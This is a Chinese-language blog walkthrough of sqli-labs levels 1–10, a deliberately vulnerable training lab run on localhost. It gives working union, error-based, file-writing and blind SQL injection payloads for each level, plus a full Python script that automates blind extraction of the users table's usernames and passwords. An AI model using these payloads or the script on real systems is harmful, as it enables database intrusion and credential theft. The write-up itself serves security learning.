Sqli-labs之Less1-10

Mi1k7ea發表於2017-04-14

為了更好地學習SQL隱碼攻擊,便從sqli-labs開始入手吧。很多東西都是不懂,所以也是從各位前輩、大牛的部落格以及書籍中去學習,將自己學到的都記錄一下,以便以後的檢視。同時也希望各位能夠多多給點指導,讓本人能夠更好地掌握各種方法技巧等等。

為了更方便地實現操作,直接用Firefox的HackBar外掛來操作~


Less1--基於錯誤的單引號字元型注入

直接在url中輸入?id=1可以看到:


接著把id設定成等於2可以看到顯示不一樣的資訊:


但是這些不是重點,我們要推測這次的SELECT語句的結構、判斷是否存在SQL隱碼攻擊漏洞以及深入一些挖掘出更多關於資料庫的資訊等。在剛剛的url輸入之後加入一個常用的用於檢測是否出錯的單引號,引出如下的錯誤:



接著觀察含有單引號括起來的那一部分,去掉最外部左右兩邊的單引號的內容即為原SELECT語句中含有的內容,這部分中內容為:'2 '' LIMIT 0,1

可以從中推斷出,在原SELECT語句中id變數之外是有對單引號括著的,而且在語句的後面還有LIMIT 0,1,表示從第一個元素即其下標為0開始返回總數為1個的元素。

接著使用and ‘1’=’1和and ‘1’=’2兩個語句(最後那個數字後面少個單引號是為了和SELECT語句中最後的那個單引號閉合)來嘗試判斷一下是否存在SQL隱碼攻擊漏洞:



通過結果發現,一個返回正常而另一個沒有返回,即一真一假,可以判斷出其存在SQL隱碼攻擊漏洞,且SELECT語句大致語法為:

SELECT * FROM users WHERE id = '$id' LIMIT 0,1


接下來的,就是利用這個注入點進行進一步的漏洞利用和資訊挖掘。

首先通過order by語句來推斷有多少個欄位,通過比較可以發現是有3個欄位:



註釋符中使用的是雙連字元(--)再加一個空格,然而在其中如果只是--加空格則會報錯,應該是url那個並沒有將其進行轉換,而在其中加號+在url中經常是代表空格因而將空格用+號表示則沒有問題。其中Order by語句中可以使用二分查詢法來實現查詢,當找到3時顯示正常而到了4時顯示未知列,則可以確定有3個欄位,另外註釋符也可以替換成#號來實現,但是在測試中並沒有將其url編碼,所以需要將#號改為其url編碼格式為%23輸入即可:


接著就是使用union語句來實現多個select語句查詢啦,直接使用2’ union select 1,2,3 %23 發現並沒有什麼變化,將其中的3替換成database()也沒變換:


這裡補充一下幾個常用的函式:user()返回當前資料庫連線使用的使用者,database()返回當前資料庫連線使用的資料庫,version()返回當前資料庫的版本。另外,通常會使用concat或者concat-ws函式來將這些函式進行組合使用並顯示出來。concat函式中,將其中的引數直接連線起來產生新的字串。而在concat_ws函式中,第一個引數是用於作為分隔符將後面各個引數的內容分隔開來再進行相應的連線產生新的字串。以其常用的例子為例:

concat_ws(char(32,58,32),user(),database(),version())

其中char()函式為將裡面的引數轉化為相應的字元,其中32為空格,58為冒號(:),通過這樣的方式可以繞過一些簡單的過濾機制。

再次回到題目中,發現無論我們怎麼改後面那句select中的內容,顯示都是不會改變的,這樣我們可以猜測,是不是前面的SELECT語句中限定了無論我們怎麼查詢都只能看到規定的那兩行?我們檢視原始碼發現,有mysql_fetch_array() 函式這東西,它是從結果集中取得一行作為關聯陣列,或數字陣列,或二者兼有,也就是說,只會取其中的一行然後來進行相應的輸出:



為了讓後面的select語句順利執行並顯示出來,必須讓前面的語句失效,可以通過將id的值設定為0或者是字串、負數等(不是正整數即可)來實現將前面的SELECT語句(亦即union左邊的select語句)查詢的結果為空集,從而能夠將後面的查詢結果(union右邊的select查詢語句)顯示出來,這裡講id中的值改為0,查詢中得到第三個位置改為上面常用的組合:


從結果中得知最主要的資訊為資料庫名為‘security’,並且只會顯示兩個欄位(因為數字2出現在第一行而查詢的資訊出現在第二行,select語句中的1並沒有出現)。


通過資料庫名,用以下語句接著進一步的查詢:


這次查詢中使用到了group_concat函式,會返回帶有來自一個組的連線的非NULL值的字串結果,也就是會返回屬於同一組的行或列的內容。

當然,除了用group_concat函式,還可以使用LIMIT來遍歷出有哪些表,期間只需要改變limit中第一個引數的值使其從0開始逐漸遞增即可:


從上面的結果中,我們可以看到security庫中一共有4張表,其中users這張表的價值肯定是最大的,便進一步對它進行查詢:


結果中顯示這張表有三列,接著我們可以組合使用語句將各個結果進一步查詢出來:


這裡將group_concat和concat_ws函式進行組合使用,一次性列出了所有的資訊,在顯示的欄位數較少情況下,這種方法是挺實用的。

payload為:

http://localhost/sqli/Less-1/?id=0' union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users %23

本題的注入也差不多吧,因為是第一題所以也寫得比較多一點,後面只有涉及到新的用法、技巧這些才會詳細一點寫~


Less2--基於錯誤的整形注入

Less2和Less1很相似,可以說比Less1更為簡單,因為並不涉及到為id的值新增單引號,具體的直接看題。

在id=1後加一個單引號:


提取關鍵資訊,SELECT語句中包含:

‘ LIMIT 0,1 

猜測並沒有對id進行新增任何的符號,接著用and 1=1 -- 和and 1=2 -- 來判斷:


在這裡和Less1使用的and ‘1’=’1和and ‘1’=’2語句比較一下,Less1中通過少一個單引號來實現和原SELECT語句最後面的那個單引號的閉合,原SELECT語句的所有部分都能執行;而這裡用用and 1=1 -- 和and 1=2 -- 語句時通過註釋的作用,將註釋符後面的部分全部註釋掉,原SELECT語句的只有前面部分能正常執行。

基於結果可以判斷存在SQL隱碼攻擊漏洞,SELECT語句大致語法為:

SELECT * FROM users WHERE id = $id LIMIT 0,1

深入的資訊查詢和Less1操作一致就不再累贅啦。

payload為:

http://localhost/sqli/Less-2/?id=0 union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users %23


Less3--基於錯誤的單引號變形字元型注入

同樣的步驟來進行判斷:


看到關鍵的部分,即SELECT語句中包含:

‘1’’) LIMIT 0,1

可以推測id值被單引號和括號一同包含著,按推斷進行測試:


論證了推斷,存在SQL隱碼攻擊漏洞,SELECT語句大致語法為:

SELECT * FROM users WHERE id = ('$id') LIMIT 0,1

payload為:

http://localhost/sqli/Less-3/?id=0') union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users %23

Less4--基於錯誤的雙引號字元型注入

輸入單引號並沒有返回錯誤:


於是換個雙引號試試,結果錯誤資訊就出來了:


可推測出id值是被一對雙引號和括號所包含的,進一步測試:



證明存在漏洞,SELECT語句大致語法為:

SELECT * FROM users WHERE id = (“$id”) LIMIT 0,1

payload為:

http://localhost/sqli/Less-4/?id=0") union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users %23

Less5--雙注入單引號字元型注入

首先是認識關於雙注入的概念,最簡單的解釋就是select語句裡面再內嵌一個select語句,其中裡面的那個select語句就是子查詢。

有幾個函式說明一下:

count():統計元組的個數

rand():返回一個0~1之間的隨機數

floor():向下取整

group by:用於結合合計函式,根據一個或多個列對結果集進行分組

輸入id=1,和前面幾題並不同,並沒有輸出相應有用的資訊:


單引號測試,錯誤就出來了:


推測語句和Less1的一致,只是在原始碼方面沒有進行相應資訊的輸出而已,進一步確認一下:


輸出結果一個和id=1正常輸入時的結果一致,另一個則沒有任何結果輸出,因此可以看出其存在注入漏洞,SELECT語句大致語法為:

SELECT * FROM users WHERE id = ‘$id’ LIMIT 0,1

檢視原始碼驗證一下:


果然是不輸出$row的內容,因而也看不到相應的資訊。


要對這個資料庫資訊進行挖掘的話,前面的方法是行不通的,因為語句正確頁面只會返回那一句話。因此,這裡需要運用到基於錯誤的SQL語句構造。

幾個常用的基於錯誤的構造語句:

select group_concat(char(32,58,32),database(),char(32,58,32),floor(rand()*2))name;
select 1 from(select count(*),concat(char(32,58,32),database(),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b

這是一個mysql存在的bug,出錯的時候將會返回想要查詢的資訊,至於具體的說明可以看官方的解釋:

http://bugs.mysql.com/bug.php?id=32249

下面都是基於錯誤的測試,如果顯示如第五張圖一樣再重新整理到顯示內容即可。






可看到用group_concat()函式嘗試多次還是沒有顯示出想要的結果,所以通過limit來逐個列舉出來即可。

payload為:

http://localhost/sqli/Less-5/?id=1' and (select 1 from(select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password) from users limit 0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b) --+


Less6--雙注入雙引號字元型注入

和Less5差不多,但是新增單引號沒結果:


換雙引號就出來錯誤資訊了:


發現只是在Less5的基礎上將單引號換成雙引號而已,驗證一下:



SELECT語句大致語法為:

SELECT * FROM users WHERE id = “$id” LIMIT 0,1

payload為:

http://localhost/sqli/Less-6/?id=1" and (select 1 from(select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password) from users limit 0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b) --+


Less7--匯出檔案字元型注入

先了解幾個函式:

outfile:在MYSQL中可以利用它來將表的內容匯出為一個文字檔案,其基本語法格式為:SELECT [列名] FROM table [WHERE語句] INTO OUTFILE ‘目標檔案’ [OPTION];

dumpfile:將表的內容匯出為一個檔案,但是一次匯出一行的內容,因而在語法上要在outfile基礎上加上limit來選擇哪一行。

load_file:將資料匯入MySQL。

在使用上述幾個函式之前,需要對當前資料庫進行許可權測試,看看有沒有許可權去執行上述幾個函式,測試語句為:

and (select count(*) from mysql.user)>0 --+

新增單引號出現錯誤,可以推測原sql語句中含有單引號:


先推測值含有一對單引號來進行測試,發現仍出錯:


至此,知道對id變數使用的符號不只是一對單引號,對此嘗試新增各種符號,當該語句沒有返回錯誤時即可判斷語句構造正確:




這裡會發現,原sql語句用一對單引號和兩對括號將id變數括起。

都是基於錯誤的資訊,來判斷有多少個欄位:


可判斷出有3個欄位。
在使用前面介紹的幾個函式之前,先檢視一下是否具有相應的許可權:


結果返回正常,即具有相應的許可權。

接著就可以上outfile函式了:

http://localhost/sqli/Less-7/?id=1')) union select 1,2,3 into outfile "E:\\wamp64\\www\\sqli\\Less-7\\7.txt" %23

按以上的payload執行卻沒有生成任何檔案,明明也轉義了的,可能是許可權問題,於是就直接右鍵屬性>安全,設定所有的使用者都有寫入許可權,結果還是不行。因為是在Windows下搭的環境,在網上也沒找到解決方案,於是嘗試了一下將檔案寫入臨時目錄tmp中,成功了:

http://localhost/sqli/Less-7/?id=1')) union select 1,2,3 into outfile "E:\\wamp64\\tmp\\7.txt" %23


好吧,那就將內容寫入到臨時目錄中就好,中間的步驟就省略了,直接上payload為:

http://localhost/sqli/Less-7/?id=0')) union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users into outfile "E:\\wamp64\\tmp\\7.txt" %23


PS:這題因為一直寫不進網站的目錄中所以耗了很長時間,期間怎麼設定許可權都沒用,現在就只能寫到tmp目錄中,就算寫入一句話木馬也沒有其他辦法結合一起利用,這裡希望有會的人指導一下~


Less8--基於布林型單引號盲注

基於布林型的盲注的返回介面只有兩種,要麼為真要麼為假。

需要了解的幾個函式:

length():返回字串的長度

substr():將第一個引數即字串從第二個引數的位置開始擷取第三個引數的長度的字元進行返回(這裡第二個引數的位置是從1開始的而不是0)

mid():跟substr函式一樣,擷取字串

ascii():返回字串的第一個字元的ASCII值

ord():同上,返回ASCII碼

盲注的返回只有兩種介面,一個正常時返回“You are in...”一個錯誤時啥也沒:


確定含有一對單引號:


接著就是使用盲注的技巧了:



可以利用二分法進行判斷從而提高查詢的效率,在這裡不再多說,查詢過後可以得知database函式返回的第一個字元的ASCII值為115,對應的字元就是‘s’。

同理,只需要將substr函式的第一個引數的值逐漸遞增就可以得出整個資料庫名為‘security’。將database函式換為version和user函式同理得到相應的資訊。

下面只需要將select中的函式換為查詢表名等的語句即可,也是和上述的方法一樣逐個去判斷出來,下圖可知第一個表名的第一個字元的ASCII值為101,即為‘e’:


需要注意的一點是,在這個語句中需要加入limit來逐個遍歷不同的表,而且在一開始不新增limit是會出錯的不同於之前非盲注剛開始時不新增沒有影響。

遍歷表的列名以及使用者名稱及其密碼所使用的方法也一樣就不再多說了。


因為盲注通過手工注入的話是很耗時間的,因此可以通過寫Python指令碼來幫我們實現這個繁瑣的過程。

sqli_labs_less8.py:

#!/usr/bin/python
#coding=utf-8
import urllib

url = "http://localhost/sqli/Less-8/?id=1"
success_text = "You are in..........."

#定義相應的SQL隱碼攻擊語句
ascii_fuzz = "' and ascii(substr((%s),%d,1))>=%d #"
length_fuzz = "' and length(%s) >= %d #"
DB_fuzz = "select database()"
table_fuzz = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"
column_fuzz = "select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %d,1"
data_fuzz = "select %s from %s limit %d,1"

tablecount_fuzz = "' and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"
columncount_fuzz1 = "' and (select count(column_name) from information_schema.columns where table_schema='"
columncount_fuzz2 = "' and table_name='%s')>=%d #"
datacount_fuzz = "' and (select count(*) from %s)>=%d #"

tablelength_fuzz1 = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit "
tablelength_fuzz2 = ",1)>=%d #"
columnlength_fuzz1 = "' and (select length(column_name) from information_schema.columns where table_schema='"
columnlength_fuzz2 = "' and table_name='%s' limit "
columnlength_fuzz3 = ",1)>=%d #"
datalength_fuzz1 = "' and (select length("
datalength_fuzz2 = ") from %s limit "
datalength_fuzz3 = ",1)>=%d #"

#SQL盲注測試函式
def Bind_SQL_Fuzz():
	#獲取資料庫名的長度
	DBnamelength = getLength(length_fuzz,"database()")
	DBname = getName(ascii_fuzz,DB_fuzz,DBnamelength)
	print "[*] The database is: " + DBname
	print

	#獲取表的數量
	tablecount = getLength(tablecount_fuzz,DBname)
	print "[*] The count of tables is: " + str(tablecount)

	#獲取各個表名
	for i in xrange(0,tablecount):
		tablelength_fuzz_new = tablelength_fuzz1 + str(i) + tablelength_fuzz2
		tablelength = getLength(tablelength_fuzz_new,DBname)
		tname = getName(ascii_fuzz,table_fuzz%(DBname,i),tablelength)
		print '[Table Name] ' + tname
	print

	#獲取users表的列數
	columncount_fuzz_new = columncount_fuzz1 + DBname + columncount_fuzz2
	columncount = getLength(columncount_fuzz_new,"users")
	print "[*] (Table: users) The count of columns is: " + str(columncount)

	#定義兩個陣列分別用於儲存列名和列中對應的資訊
	col = []
	Datas = []

	#獲取資料一共有多少列
	datacount = getLength(datacount_fuzz,"users")

	#獲取users表的列名
	for i in xrange(0,columncount):
		columnlength_fuzz_new = columnlength_fuzz1 + DBname + columnlength_fuzz2 + str(i) + columnlength_fuzz3
		columnlength = getLength(columnlength_fuzz_new,"users")
		cname = getName(ascii_fuzz,column_fuzz%(DBname,"users",i),columnlength)
		print "[Column Name] (Table: users) " + cname
		col.append(cname)

		#獲取列名對應的資料資訊
		datas = []
		for x in xrange(0,datacount):
			datalength_fuzz_new = datalength_fuzz1 + cname + datalength_fuzz2 + str(x) + datalength_fuzz3
			datalength = getLength(datalength_fuzz_new,"users")
			data = getName(ascii_fuzz,data_fuzz%(cname,"users",x),datalength)
			datas.append(data)
		Datas.append(datas)

	print

	print "[*] (Table: users) The count of data is: " + str(datacount)
	print
	print "[*] The data of users: "

	#輸出列名
	colname = ""
	for i in range(0,len(col)):
		if i == 0:
			colname += col[i]
		else:
			colname += "	" + col[i]
	print colname

	#輸出users表中的具體資訊
	show = ""
	for i in xrange(0,datacount):
		show = "%-8s%-16s%-16s"
		print show%(Datas[0][i],Datas[1][i],Datas[2][i])

#獲取欄位的長度
def getLength(text,string):
	left = 0
	right = 0
	guess = 10

	while True:
		#如果返回為真,那麼guess加5直至返回為假時確定右邊界
		if Check1(text,string,guess) == True:
			guess += 5
		else:
			right = guess
			break

	#二分查詢法
	mid = (left + right) / 2
	while left < right - 1:
		if  Check1(text,string,mid) == True:
			left = mid
		else:
			right = mid
		mid = (left + right) / 2

	return left

#檢測請求SQL隱碼攻擊的URL是否注入成功
def Check1(text,string,length):

	newurl = url + urllib.quote(text % (string,length))
	result = urllib.urlopen(newurl)

	if success_text in result.read():
		return True
	else:
		return False

#與check1類似,但接收的引數值數量不同
def Check2(text,string,position,num):

	newurl = url + urllib.quote(text % (string,position,num))
	result = urllib.urlopen(newurl)

	if success_text in result.read():
		return True
	else:
		return False

#獲取相應欄位的名稱
def getName(text,string,length):

	name = ''

	for i in xrange(1,length+1):

		#32是空格,為第一個可顯示的字元,127是delete,即最後一個可顯示的字元
		left = 32
		right = 127

		#二分查詢法
		mid = (left + right) / 2
		while left < right - 1:
			if Check2(text,string,i,mid) == True:
				left = mid
				mid = (left + right) / 2
			else:
				right = mid
			mid = (left + right) / 2
		name += chr(left)

	return name

def main():
	Bind_SQL_Fuzz()

if __name__ == '__main__':
	main()

執行結果:



Less9--基於時間的單引號字元盲注

這裡說一下兩個函式:

if(a,b,c):a為判斷條件,當a為真時返回b,否則返回c

sleep(t):將程式掛起t秒

基於時間的盲注Web頁面的返回值都只有一種。所以在剛開始無論輸入對還是錯,返回的頁面都是一樣的,推測應該是程式碼中無論對錯都去輸出一樣的結果。既然說了是基於時間的盲注,那麼就直接運用sleep函式來確認,測試一下可知為單引號字元盲注。

利用原理和上面的差不多,這裡直接上payload吧:

http://localhost/Less-9/?id=1' and if(ascii(substr((select database()),1,1))>115,0,sleep(5)) --+


Less10--基於時間的雙引號字元盲注

和Less9幾乎一致,直接上payload:

http://localhost/Less-10/?id=1" and if(ascii(substr((select database()),1,1))>115,0,sleep(5)) --+



sqli-labs很早做了,但是因為Less-7的問題一直沒解決所以沒辦法全部整理出來,希望懂的大神可以指導一下怎麼回事~

相關文章